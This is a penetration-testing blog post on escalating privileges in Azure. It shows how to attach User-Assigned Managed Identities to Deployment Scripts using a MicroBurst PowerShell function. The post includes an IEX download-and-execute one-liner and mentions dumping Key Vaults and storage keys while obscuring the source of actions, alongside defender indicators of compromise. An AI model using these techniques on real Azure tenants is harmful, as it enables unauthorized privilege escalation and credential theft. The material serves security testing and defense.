Azure Deployment Scripts: Assuming User-Assigned Managed Identities
As Azure penetration testers, we often run into overly permissioned User-Assigned Managed Identities. This type of Managed Identity is a subscription level resource that can be applied to multiple other Azure resources. Once applied to another resource, it allows the resource to utilize the associated Entra ID identity to authenticate and gain access to other Azure resources. These are typically used in cases where Azure engineers want to easily share specific permissions with multiple Azure resources. An attacker, with the correct permissions in a subscription, can assign these identities to resources that they control, and can get access to the permissions of the identity.
When we attempt to escalate our permissions with an available User-Assigned Managed Identity, we can typically choose from one of the following services to attach the identity to:
- Virtual Machines
- Azure Container Registries (ACR)
- Automation Accounts
- Apps Services (including Function) Apps
- Azure Kubernetes Service (AKS)
- Data Factory
- Logic Apps
- Deployment Scripts
Once we attach the identity to the resource, we can then use that service to generate a token (to use with Microsoft APIs) or take actions as that identity within the service. We’ve linked out on the above list to some blogs that show how to use those services to attack Managed Identities.
The last item on that list (Deployment Scripts) is a more recent addition (2023). After taking a look at Rogier Dijkman’s post – “Project Miaow (Privilege Escalation from an ARM template)” – we started making more use of the Deployment Scripts as a method for “borrowing” User-Assigned Managed Identities. We will use this post to expand on Rogier’s blog and show a new MicroBurst function that automates this attack.
TL;DR
- Attackers may get access to a role that allows assigning a Managed Identity to a resource
- Deployment Scripts allow attackers to attach a User-Assigned Managed Identity
- The Managed Identity can be used (via Az PowerShell or AZ CLI) to take actions in the Deployment Scripts container
- Depending on the permissions of the Managed Identity, this can be used for privilege escalation
- We wrote a tool to automate this process
What are Deployment Scripts?
As an alternative to running local scripts for configuring deployed Azure resources, the Azure Deployment Scripts service allows users to run code in a containerized Azure environment. The containers themselves are created as “Container Instances” resources in the Subscription and are linked to the Deployment Script resources. There is also a supporting “*azscripts” Storage Account that gets created for the storage of the Deployment Script file resources. This service can be a convenient way to create more complex resource deployments in a subscription, while keeping everything contained in one ARM template.
In Rogier’s blog, he shows how an attacker with minimal permissions can abuse their Deployment Script permissions to attach a Managed Identity (with the Owner Role) and promote their own user to Owner. During an Azure penetration test, we don’t often need to follow that exact scenario. In many cases, we just need to get a token for the Managed Identity to temporarily use with the various Microsoft APIs.
Automating the Process
In situations where we have escalated to some level of “write” permissions in Azure, we usually want to do a review of available Managed Identities that we can use, and the roles attached to those identities. This process technically applies to both System-Assigned and User-Assigned Managed Identities, but we will be focusing on User-Assigned for this post.
Link to the Script – https://github.com/NetSPI/MicroBurst/blob/master/Az/Invoke-AzUADeploymentScript.ps1
This is a pretty simple process for User-Assigned Managed Identities. We can use the following one-liner to enumerate all of the roles applied to a User-Assigned Managed Identity in a subscription:
Get-AzUserAssignedIdentity | ForEach-Object { Get-AzRoleAssignment -ObjectId $_.PrincipalId }
Keep in mind that the Get-AzRoleAssignment call listed above will only get the role assignments that your authenticated user can read. There is potential that a Managed Identity has permissions in other subscriptions that you don’t have access to. The Invoke-AzUADeploymentScript function will attempt to enumerate all available roles assigned to the identities that you have access to, but keep in mind that the identity may have roles in Subscriptions (or Management Groups) that you don’t have read permissions on.
Once we have an identity to target, we can assign it to a resource (a Deployment Script) and generate tokens for the identity. Below is an overview of how we automate this process in the Invoke-AzUADeploymentScript function:
- Enumerate available User-Assigned Managed Identities and their role assignments
- Select the identity to target
- Generate the malicious Deployment Script ARM template
- Create a randomly named Deployment Script with the template
- Get the output from the Deployment Script
- Remove the Deployment Script and Resource Group Deployment
Since we don’t have an easy way of determining if your current user can create a Deployment Script in a given Resource Group, the script assumes that you have Contributor (Write permissions) on the Resource Group containing the User-Assigned Managed Identity, and will use that Resource Group for the Deployment Script.
If you want to deploy your Deployment Script to a different Resource Group in the same Subscription, you can use the “-ResourceGroup” parameter. If you want to deploy your Deployment Script to a different Subscription in the same Tenant, use the “-DeploymentSubscriptionID” parameter and the “-ResourceGroup” parameter.
Finally, you can specify the scope of the tokens being generated by the function with the “-TokenScope” parameter.
Example Usage:
We have three different use cases for the function:
- Deploy to the Resource Group containing the target User-Assigned Managed Identity
Invoke-AzUADeploymentScript -Verbose
- Deploy to a different Resource Group in the same Subscription
Invoke-AzUADeploymentScript -Verbose -ResourceGroup "ExampleRG"
- Deploy to a Resource Group in a different Subscription in the same tenant
Invoke-AzUADeploymentScript -Verbose -ResourceGroup "OtherExampleRG" -DeploymentSubscriptionID "00000000-0000-0000-0000-000000000000"
*Where “00000000-0000-0000-0000-000000000000” is the Subscription ID that you want to deploy to, and “OtherExampleRG” is the Resource Group in that Subscription.
Additional Use Cases
Outside of the default action of generating temporary Managed Identity tokens, the function allows you to take advantage of the container environment to take actions with the Managed Identity from a (generally) trusted space. You can run specific commands as the Managed Identity using the “-Command” flag on the function. This is nice for obfuscating the source of your actions, as the usage of the Managed Identity will track back to the Deployment Script, versus using generated tokens away from the container.
Below are a couple of potential use cases and commands to use:
- Run commands on VMs
- Create RBAC Role Assignments
- Dump Key Vaults, Storage Account Keys, etc.
Since the function expects string data as the output from the Deployment Script, make sure that you format your “-command” output in the parameter to ensure that your command output is returned.
Example:
Invoke-AzUADeploymentScript -Verbose -Command "Get-AzResource | ConvertTo-Json”
Lastly, if you’re running any particularly complex commands, then you may be better off loading in your PowerShell code from an external source as your “–Command” parameter. Using the Invoke-Expression (IEX) function in PowerShell is a handy way to do this.
Example:
IEX(New-Object System.Net.WebClient).DownloadString(‘https://example.com/DeploymentExec.ps1’) | Out-String
Indicators of Compromise (IoCs)
We’ve included the primary IoCs that defenders can use to identify these attacks. These are listed in the expected chronological order for the attack.
Operation Name | Description |
---|---|
Microsoft.Resources/deployments/validate/action | Validate Deployment |
Microsoft.Resources/deployments/write | Create Deployment |
Microsoft.Resources/deploymentScripts/write | Write Deployment Script |
Microsoft.Storage/storageAccounts/write | Create/Update Storage Account |
Microsoft.Storage/storageAccounts/listKeys/action | List Storage Account Keys |
Microsoft.ContainerInstance/containerGroups/write | Create/Update Container Group |
Microsoft.Resources/deploymentScripts/delete | Delete Deployment Script |
Microsoft.Resources/deployments/delete | Delete Deployment |
It’s important to note the final “delete” items on the list, as the function does clean up after itself and should not leave behind any resources.
Conclusion
While Deployment Scripts and User-Assigned Managed Identities are convenient for deploying resources in Azure, administrators of an Azure subscription need to keep a close eye on the permissions granted to users and Managed Identities. A slightly over-permissioned user with access to a significantly over-permissioned Managed Identity is a recipe for a fast privilege escalation.
References:
Explore more blog posts
Q&A with Jonathan Armstrong: An Inside Look at CREST Accreditation
Explore the role of CREST accreditation in cybersecurity, its link to DORA, and insights from Jonathan Armstrong on its future in the security industry.
2025 Cybersecurity Trends That Redefine Resilience, Innovation, and Trust
Explore how 2025’s biggest cybersecurity trends—AI-driven attacks, deepfakes, and platformization—are reshaping the security landscape.
The Attack Surface is Changing – So Should Your Approach
Discover the pitfalls of DIY attack surface management and why NetSPI's solutions offer superior security and efficiency.